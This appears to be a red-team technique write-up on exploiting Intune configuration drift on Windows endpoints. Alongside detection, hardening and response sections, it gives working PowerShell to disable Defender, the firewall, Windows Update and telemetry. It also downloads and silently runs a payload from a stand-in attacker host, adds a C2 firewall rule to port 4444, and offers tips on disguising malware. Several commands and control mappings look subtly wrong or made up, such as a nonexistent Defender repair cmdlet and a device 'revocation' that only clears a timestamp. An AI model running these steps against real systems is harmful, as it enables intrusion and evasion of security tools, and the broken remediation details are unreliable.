| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-042 |
| MITRE ATT&CK v18.1 | T1562.001 - Impair Defenses: Disable or Modify Tools |
| Tactic | Defense Evasion |
| Platforms | M365 / Windows Endpoints |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows 11 (primarily), Windows 10 v1903+, Intune all versions |
| Patched In | N/A (Configuration vulnerability, not CVE) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Configuration drift in Intune occurs when device security settings diverge from intended policy baselines due to user modifications, conflicting policies, or insufficient enforcement mechanisms. Attackers exploit this drift by identifying devices where security controls (Defender, Firewall, Encryption) have been modified or disabled by users. Once a device enters a “drifted” state, Config Refresh takes time to detect and reapply policies (30-90 minute cycles). During this window, attackers can disable security features, execute malware, establish persistence, and operate with reduced detection risk. This technique is particularly effective in environments with weak policy enforcement or where users have local admin rights.
Attack Surface: Intune Configuration Profiles, Windows security policies, Device compliance tracking, Group Policy vs. MDM conflicts, Config Refresh mechanism timing.
Business Impact: Compromise of endpoint security posture across managed device fleet. Attackers can disable Windows Defender, turn off firewall, disable disk encryption, and remove EDR agents during the policy drift window. This enables malware delivery, lateral movement, and persistence without immediate detection.
Technical Context: Exploitation typically takes 15-45 minutes to identify and disable controls. Config Refresh detection occurs on 30, 60, or 90-minute cycles depending on configuration. If attackers work during evening/weekend hours when monitoring is reduced, drift window can be exploited for hours.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Windows 10/11 5.1 | Ensure ‘Enforce password history’ is set to ‘24 or more password(s)’ |
| DISA STIG | WN10-00-000050 | Windows must have Exploit Protection configured |
| NIST 800-53 | CM-6 | Configuration Settings must be consistently applied |
| NIST 800-53 | CM-3 | Configuration Change Control - unauthorized changes must be detected |
| GDPR | Art. 32 | Security of processing - technical controls must be maintained |
| DORA | Art. 9 | Protection of operational resilience through technical controls |
| NIS2 | Art. 21 | Cyber risk management must detect configuration deviations |
| ISO 27001 | A.12.6.1 | Management of technical vulnerabilities |
| ISO 27005 | Configuration management failures | Uncontrolled configuration changes = risk |
Required Privileges:
Required Access:
Supported Versions:
Tools:
gpresult and gpupdate commands (built-in)Objective: Discover which Intune-managed devices have configuration drift (settings mismatch with intended policy).
Command (Intune Admin Center):
Azure Portal → Intune → Devices → Windows → Configuration profiles
→ Select each profile → Deployment status
→ View "Not compliant" or "Error" devices
Command (PowerShell - List Non-Compliant Devices):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "DeviceManagementConfiguration.Read.All"
# Get all non-compliant devices
$noncompliant = Get-MgDeviceManagementDeviceConfiguration | Where-Object {
$_.LastModifiedDateTime -lt (Get-Date).AddDays(-1)
}
foreach ($device in $noncompliant) {
Get-MgDeviceManagementDeviceConfigurationAssignment -DeviceConfigurationId $device.Id |
Where-Object {$_.deploymentStatus -eq "failure" -or $_.deploymentStatus -eq "notApplicable"}
}
What to Look For:
Objective: Determine the policy reapplication cycle to understand the drift window duration.
Command (Local Device - Check Config Refresh Schedule):
# Open Task Scheduler to view Config Refresh schedule
# This works on Windows 11 with Config Refresh enabled
Get-ScheduledTask -TaskPath "\Microsoft\Windows\EnterpriseMgmt" | Where-Object {
$_.TaskName -like "*ConfigRefresh*" -or $_.TaskName -like "*PolicySync*"
} | Select-Object TaskName, @{Name="NextRun"; Expression={$_.NextRunTime}}, State
Command (Check MDM Policy CSP Application Frequency):
# Check event logs for policy application events
Get-WinEvent -LogName "Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational" -MaxEvents 50 |
Where-Object {$_.Id -in (201, 202, 203)} |
Select-Object TimeCreated, Message |
Format-Table -AutoSize
# ID 201 = Policy check-in started
# ID 202 = Policy check-in successful
# ID 203 = Policy check-in failed
What to Look For:
Objective: Identify which security controls are currently disabled or misconfigured.
Command (Check Windows Defender Status):
# Check Defender status (via WMI - works even if GUI disabled)
Get-MpPreference | Select-Object DisableRealtimeMonitoring, DisableBehaviorMonitoring, DisableIOAVProtection
# Check Defender service status
Get-Service WinDefend | Select-Object Name, Status, StartType
Command (Check Firewall Status):
# Check Windows Firewall profiles
Get-NetFirewallProfile | Select-Object Name, Enabled
# Check if specific firewall rules are disabled
Get-NetFirewallRule | Where-Object {$_.Enabled -eq $false} | Select-Object DisplayName, Direction, Action
Command (Check Encryption):
# Check BitLocker encryption status
Get-BitLockerVolume | Select-Object MountPoint, EncryptionPercentage, VolumeStatus
# Check if encryption is enabled via policy
(Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\FVE" -ErrorAction SilentlyContinue).OSVolumeEncryption
What to Look For:
DisableRealtimeMonitoring = True)Supported Versions: Windows 10 v1903+, Windows 11 all versions
Objective: Turn off Windows Defender real-time protection, creating a window where malware can execute.
Command (PowerShell as Administrator):
# Disable Defender real-time monitoring via Registry
$DefenderPath = "HKLM:\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection"
Set-ItemProperty -Path $DefenderPath -Name "DisableRealtimeMonitoring" -Value 1
# Verify the change was applied
Get-ItemProperty -Path $DefenderPath -Name "DisableRealtimeMonitoring"
# Force Defender service to reload (may require restart)
Restart-Service WinDefend -Force
Command (PowerShell - Without Restart):
# Use WMI to disable Defender (faster, no restart)
Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true
# Verify it's disabled
Get-MpPreference | Select-Object DisableRealtimeMonitoring, DisableBehaviorMonitoring
Expected Output (If Successful):
DisableRealtimeMonitoring : True
DisableBehaviorMonitoring : True
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-MpComputerStatusObjective: Remove secondary protections to further weaken security posture.
Command:
# Disable additional Defender protections
Set-MpPreference -DisableBehaviorMonitoring $true `
-DisableBlockAtFirstSeen $true `
-DisableIntrusionPreventionSystem $true `
-MAPSReporting Disabled `
-SubmitSamplesConsent NeverSend
# Verify all protections are disabled
Get-MpPreference | Select-Object Disable*
What This Means:
Objective: During the drift window, download and execute malicious payload.
Command (Example - Credential Stealer):
# Download malware payload from attacker C2
$url = "http://attacker.com/payload.exe"
$output = "$env:TEMP\system_update.exe"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $url -OutFile $output -UseBasicParsing
# Execute the payload
Start-Process -FilePath $output -ArgumentList "/silent" -WindowStyle Hidden
OpSec & Evasion:
system_update.exe, windows_service.exe)$env:TEMP or $env:APPDATA (user-writable locations)-WindowStyle Hidden to hide execution windowBelowNormal to avoid performance impactSupported Versions: Windows 10 v1903+, Windows 11 all versions
Objective: Turn off Windows Firewall to allow C2 communication and lateral movement.
Command (Administrator Required):
# Disable all three firewall profiles
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled $false
# Verify firewall is disabled
Get-NetFirewallProfile | Select-Object Name, Enabled
Expected Output:
Name Enabled
---- -------
Domain False
Public False
Private False
What This Means:
Objective: While firewall is disabled, create persistent backdoor rule.
Command:
# Create an outbound firewall rule that allows attacker C2 traffic
New-NetFirewallRule -DisplayName "Windows Service Update" `
-Direction Outbound `
-Action Allow `
-Protocol TCP `
-RemoteAddress "192.0.2.100" `
-RemotePort 4444 `
-Enabled $true
# This rule persists even after firewall is re-enabled by Config Refresh
What This Means:
Supported Versions: Windows 10 v1903+, Windows 11 all versions
Objective: Stop security patches from being applied, allowing known CVEs to be exploited.
Command:
# Stop Windows Update service
Stop-Service -Name "wuauserv" -Force
Stop-Service -Name "WaaSMedicSvc" -Force # Update health service
# Disable automatic startup
Set-Service -Name "wuauserv" -StartupType Disabled
Set-Service -Name "WaaSMedicSvc" -StartupType Disabled
# Verify services are disabled
Get-Service -Name "wuauserv", "WaaSMedicSvc" | Select-Object Name, Status, StartType
What This Means:
Supported Versions: All Windows 10/11 with Intune
Objective: Identify time until Config Refresh reapplies policies (need to complete attack before then).
Command (Check Scheduled Tasks):
# Find the MDM policy refresh task
$task = Get-ScheduledTask -TaskPath "\Microsoft\Windows\EnterpriseMgmt\*" -ErrorAction SilentlyContinue |
Where-Object {$_.TaskName -like "*Refresh*" -or $_.TaskName -like "*Sync*"}
# Get next run time
$nextRun = $task | Get-ScheduledTaskInfo
Write-Host "Next policy refresh: $($nextRun.NextRunTime)"
Write-Host "Time until refresh: $((New-TimeSpan -Start (Get-Date) -End $nextRun.NextRunTime).TotalMinutes) minutes"
Command (Monitor Policy Application in Real-Time):
# Monitor the Windows event log for policy application events
Get-WinEvent -LogName "Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational" `
-FilterXPath "*[System[EventID=202 or EventID=203]]" -MaxEvents 1 |
Select-Object TimeCreated, Message
# If event shows recent sync, less time before next refresh
What This Means:
Objective: Turn off diagnostic data collection that might alert to changes.
Command:
# Disable Connected User Experiences and Telemetry
Set-Service -Name "DiagTrack" -StartupType Disabled
Stop-Service -Name "DiagTrack" -Force
# Disable telemetry data policy
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection" `
-Name "AllowDiagnosticData" -Value 0
# Disable Microsoft Defender Exploit Guard telemetry
Set-MpPreference -SubmitSamplesConsent NeverSend
What This Means:
Objective: Red team can simulate this attack in controlled lab environment.
Setup Steps:
Intune Admin Center → Devices → Enroll devices → Windows enrollment
→ Configure device for Intune enrollment
Wait for policy to apply (10-15 minutes)
Set-MpPreference -DisableRealtimeMonitoring $true
Intune Admin Center → Devices → Compliance
→ Check if device becomes "Non-compliant"
Expected Findings:
Version: 2.0+ Supported Platforms: Windows 10, Windows 11 Installation:
# Clone repository
git clone https://github.com/qistoph/WDefenderControl.git
cd WDefenderControl
# Run the GUI tool
.\WDefenderControl.exe
Key Features:
Version: 1.0+ Supported Platforms: Windows 10+ Installation & Usage:
# Download and extract
Invoke-WebRequest -Uri "https://github.com/rootSectorNet/WPD/releases/download/1.0/WPD.exe" -OutFile WPD.exe
# Run to dump all applied policies
.\WPD.exe dump > policies.txt
# Analyze output to find drift
Select-String -Path policies.txt -Pattern "Intune|MDM|Config"
Output: Lists all Group Policy and MDM policies currently applied to device
# Check applied policies
gpresult /h report.html
# Force immediate policy refresh
gpupdate /force
# Check policy CSP application
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PolicyManager\current"
# Monitor policy drift in real-time
$config = @{}
while ($true) {
$defender = Get-MpPreference
if ($defender.DisableRealtimeMonitoring -ne $config.LastDefenderState) {
Write-Host "[DRIFT DETECTED] Defender disabled: $(Get-Date)"
$config.LastDefenderState = $defender.DisableRealtimeMonitoring
}
Start-Sleep -Seconds 5
}
Rule Configuration:
KQL Query:
DeviceComplianceResultEvents
| where DeviceId != ""
| where ComplianceStatus == "NonCompliant"
| extend FailedSettings = parse_json(FailedSettings)
| where FailedSettings contains "WindowsDefender"
or FailedSettings contains "Firewall"
or FailedSettings contains "BitLocker"
| summarize FailureCount = count() by DeviceId, DeviceName, tostring(FailedSettings)
| where FailureCount > 0
| join kind=inner (
DeviceComplianceResultEvents
| where TimeGenerated > ago(30m)
| where ComplianceStatus == "Compliant"
) on DeviceId
| project DeviceId, DeviceName, FailedSettings, TimeGenerated
What This Detects:
Manual Configuration Steps (Azure Portal):
Intune Configuration Drift - Security Controls10 minutes2 hoursRule Configuration:
KQL Query:
union
(
SecurityEvent
| where EventID == 13 // Registry modification
| where RegistryPath contains "DisableRealtimeMonitoring"
| project TimeGenerated, Computer, TargetObject, NewValue, InitiatingProcessId
),
(
DeviceEvents
| where ActionType == "ProcessCreated"
| where CommandLine contains "DisableRealtimeMonitoring" or CommandLine contains "Set-MpPreference"
| where NOT (InitiatingProcessCommandLine contains "system32" and InitiatingProcessCommandLine contains "dllhost")
| project TimeGenerated, DeviceName, ProcessCommandLine, InitiatingProcessName
)
| project TimeGenerated, Computer = coalesce(Computer, DeviceName), Action = "Defender Disabled"
What This Detects:
Set-MpPreference commandsCommand (PowerShell - Graph API):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "DeviceManagementConfiguration.Read.All"
# Get all configuration profiles with deployment status
$profiles = Get-MgDeviceManagementDeviceConfiguration
foreach ($profile in $profiles) {
$assignments = Get-MgDeviceManagementDeviceConfigurationAssignment -DeviceConfigurationId $profile.Id
$failedDevices = $assignments | Where-Object {$_.deploymentStatus -in @("failure", "notApplicable")}
if ($failedDevices) {
Write-Host "Profile: $($profile.DisplayName)"
Write-Host "Failed Devices: $($failedDevices.Count)"
foreach ($device in $failedDevices) {
Write-Host " - Device ID: $($device.deviceId) | Status: $($device.deploymentStatus)"
}
}
}
Manual Steps (Intune Admin Center):
Objective: Identify devices that haven’t had successful Config Refresh in > 4 hours
Command (PowerShell):
# Get devices with last compliance sync > 4 hours ago
$fourHoursAgo = (Get-Date).AddHours(-4)
Get-MgDevice -Filter "approximateLastSignInDateTime lt $($fourHoursAgo.ToString('o'))" |
Where-Object {$_.DisplayName -like "REALWORLD*" -or $_.DeviceOSType -eq "Windows"} |
Select-Object DisplayName, ApproximateLastSignInDateTime, ComplianceExpirationDateTime, IsCompliant
Rule Configuration:
SPL Query:
index=windows (EventCode=13 OR EventCode=1)
(RegistryPath="*DisableRealtimeMonitoring*" OR CommandLine="*Set-MpPreference*")
(NewValue="1" OR CommandLine="*$true*")
| stats count by host, user, Image, CommandLine, RegistryPath
| where count >= 1
What This Detects:
Action 1: Enforce Immutable Policy Application
Manual Steps (Intune):
Manual Steps (Group Policy - Hybrid Devices):
gpmc.msc
→ Computer Configuration → Policies → Windows Settings → Security Settings
→ Application Control Policies → AppLocker
→ Configure to block execution of unsigned binaries
Action 2: Reduce Config Refresh Frequency to 15 Minutes
Manual Steps (PowerShell - Intune):
# Set Config Refresh to apply every 15 minutes (requires PowerShell on device)
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\MDM\Policies"
New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name "PolicyRefreshIntervalMinutes" -Value 15
# Or via Group Policy:
# gp.msc → Computer Config → Admin Templates → Windows Components → MDM
# → Set "Policy Refresh Frequency" to 15 minutes
Action 3: Enable Real-Time Monitoring of Policy Changes
Manual Steps (Microsoft Sentinel):
Action 4: Restrict Local Admin Rights
Manual Steps (Intune):
Action 1: Enable Application Guard for Microsoft Office
Manual Steps (Group Policy):
gpmc.msc → Computer Configuration → Administrative Templates
→ Microsoft Word → Document Protection
→ Set "Application Guard for Office - Enable" to Enabled
Action 2: Deploy Windows Defender Application Control (WDAC)
Manual Steps (PowerShell):
# Create simple WDAC policy
$policy = New-CIPolicyFromFile -FilePath "C:\Windows\System32" -Level FileHash
ConvertFrom-CIPolicy $policy -BinaryFilePath "C:\policy.bin"
# Deploy via Group Policy
# → Computer Config → Admin Templates → Windows Components → Device Guard
# → WDAC Configuration
Action 3: Monitor for Config Refresh Failures
Manual Steps:
# Create scheduled task to verify Config Refresh ran
$task = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-Command `"Get-WinEvent -LogName 'Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational' | Where ID -eq 202`""
Register-ScheduledTask -TaskName "Verify-ConfigRefresh" -Action $task -Trigger (New-ScheduledTaskTrigger -AtLogOn)
# Check if mitigations are in place
Write-Host "[*] Validating Intune Configuration Drift Mitigations..."
# 1. Check if Defender is protected
$mpPref = Get-MpPreference
if ($mpPref.DisableRealtimeMonitoring -eq $false) {
Write-Host "[✓] Windows Defender Real-Time Monitoring: ENABLED" -ForegroundColor Green
} else {
Write-Host "[✗] Windows Defender Real-Time Monitoring: DISABLED" -ForegroundColor Red
}
# 2. Check Config Refresh schedule
$task = Get-ScheduledTask -TaskPath "\Microsoft\Windows\EnterpriseMgmt\*" -ErrorAction SilentlyContinue
if ($task) {
$taskInfo = Get-ScheduledTaskInfo -InputObject $task
Write-Host "[✓] Config Refresh Last Run: $($taskInfo.LastRunTime)" -ForegroundColor Green
} else {
Write-Host "[✗] Config Refresh Task: NOT FOUND" -ForegroundColor Red
}
# 3. Check if user has local admin
$isAdmin = [bool]([System.Security.Principal.WindowsIdentity]::GetCurrent().Groups -match "S-1-5-32-544")
if (-not $isAdmin) {
Write-Host "[✓] User has Standard Privileges (Not Admin)" -ForegroundColor Green
} else {
Write-Host "[✗] User has Local Administrator Rights" -ForegroundColor Red
}
Policy Change Events:
Process Artifacts:
powershell.exe executing Set-MpPreference commandsgpupdate.exe running after unauthorized policy changeswmic.exe modifying service startup typesnetsh.exe disabling firewall rulesTimeline Indicators:
Event Log Paths:
Registry Locations:
HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoringHKLM\SYSTEM\CurrentControlSet\Services\WinDefend\Start (0=boot, 1=system, 2=auto, 3=manual, 4=disabled)HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Start (Windows Firewall)Timeline Example:
T0:00:00 - Device becomes non-compliant (policy not applied)
T0:15:00 - Attacker disables Defender via PowerShell
T0:20:00 - Malware downloaded and executed
T0:25:00 - Lateral movement begins
T0:45:00 - Config Refresh reapplies policy, Defender re-enabled
T0:50:00 - Malware continues running (already persisted)
1. Immediate Isolation (0-5 minutes):
# Revoke device access
Get-MgDevice -Filter "displayName eq 'COMPROMISED-DEVICE'" | Update-MgDevice -ApproximateLastSignInDateTime $null
# Or via Intune UI:
# Devices → Windows → All devices → Select device → Delete
2. Re-apply Baseline Policy (5-15 minutes):
# Force immediate policy re-application
Invoke-Command -ComputerName "COMPROMISED-DEVICE" -ScriptBlock {
gpupdate /force
Restart-Service WinDefend
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled $true
}
3. Forensic Collection (15-30 minutes):
# Collect event logs
Get-WinEvent -LogName "Security" -MaxEvents 5000 | Export-Csv -Path "Security.csv"
Get-WinEvent -LogName "Microsoft-Windows-DeviceManagement*" -MaxEvents 1000 | Export-Csv -Path "MDM.csv"
# Collect registry hives
reg save HKLM\SOFTWARE "C:\Evidence\SOFTWARE"
reg save HKLM\SYSTEM "C:\Evidence\SYSTEM"
4. Remediate (30-60 minutes):
# Remove any malware persistence
Get-ScheduledTask | Where-Object {$_.TaskPath -like "*Temp*" -or $_.TaskPath -like "*Malware*"} | Unregister-ScheduledTask -Confirm:$false
# Reset Windows Defender
Repair-WindowsDefender
# Full system scan
Start-MpScan -ScanType FullScan
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] Default/Weak Credentials | Attacker obtains local admin credentials via phishing or brute force |
| 2 | Privilege Escalation | [REALWORLD-042] Intune Configuration Drift | Attacker exploits drift window to disable security controls |
| 3 | Execution | Native Windows tools | PowerShell, WMI, Registry modifications |
| 4 | Persistence | [IA-EXPLOIT-003] Create Scheduled Task | Attacker creates task scheduled before Config Refresh reapplies policy |
| 5 | Impact | Malware execution, Lateral Movement | Worm, credential stealer, or ransomware payload executes |